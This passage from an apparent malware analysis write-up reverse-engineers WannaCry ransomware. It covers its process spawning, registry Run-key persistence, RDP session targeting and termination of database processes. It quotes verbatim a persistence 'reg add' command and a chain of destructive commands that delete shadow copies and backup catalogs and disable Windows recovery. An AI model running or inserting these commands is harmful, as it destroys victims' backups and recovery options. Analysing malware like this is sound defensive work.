  2. use the victim's private key to decrypt the encrypted AES key encrypted with the victim's public key for each file (the encrypted AES KEY is stored in each encrypted .WNCRY file).

  3. use the decrypted AES key to decrypt file.

Spawning multiple Processes (taskdl.exe, taskse.exe, @WanaDecryptor@.exe) :

spawns a thread running the function sub_10005300 which runs the executable taskdl.exe every 30 seconds using a process if the global variable decryption_successful_global_var is not true which means the victim hasn't payed the ransom.

then spawns another thread running the function sub_10004990 which runs the command taskse.exe @WanaDecryptor@.exe every 30 seconds using a process and then WannaCry adds malicious registry entries to make persistence into the system, so that it could launch the infection after each system reboots using the command cmd.exe /c reg add %s /v \"%s\" /t REG_SZ /d \"\\\"%s\\\"\" /f

  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

  • <random_alphanumeric>=C:\ProgramData\<random_alphanumeric>\tasksche.exe

taskse.exe is an executable which enumetates RDP Sessions using WTSEnumerateSessions function and executes the first argument in the RDP Sessions found. and this is done to ensure all the rdp sessions can see the wannacry window.

@WanaDecryptor@.exe which is responsible for showing the payment and timer windows for the victim and decryption process if the victim payed the ransom.

Recovery Prevention :

it runs the command cmd.exe /c start /b @WanaDecryptor@.exe vs using CreateProcessA

reversing @WanaDecryptor@.exe we can find that it checks if the argument passed to it is vs if it's the case it will execute the command cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignore allfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet using a CreateProcessA

these commands are used by wannacry ransomware after encrypting data to prevent data recovery

  • vssadmin delete shadows/all/quiet : delete all Volume Shadow Copies silently.

  • wmic shadowcopy delete : same as the previous one. used to ensure removal of any backup copies.

  • bcdedit /set {default} bootstatuspolicy ignore allfailures : setting the boot status policy for the default operating system to "ignore". This action is aimed at preventing the system from displaying error messages during startup, which could potentially alert the user to suspicious activity.

  • bcdedit /set {default} recoveryenabled no : Disables the Windows recovery feature, which means preventing the victims from the possibility to reverting their system to a previous build.

  • wbadmin delete catalog -quiet : delete the backup catalog without generating any notification or prompts.

Encrypting datastorage files :

terminate processes associated with Microsoft Exchange, SQL Server, and MySQL which ensures that the ransomware can encrypt files without interference from these database or server processes, which might prevent encryption. doing this it can encrypt as many files as possible, maximizing the impact of the ransomware attack

WANNACRY FULL ATTACK MAP :

Last updated

Was this helpful?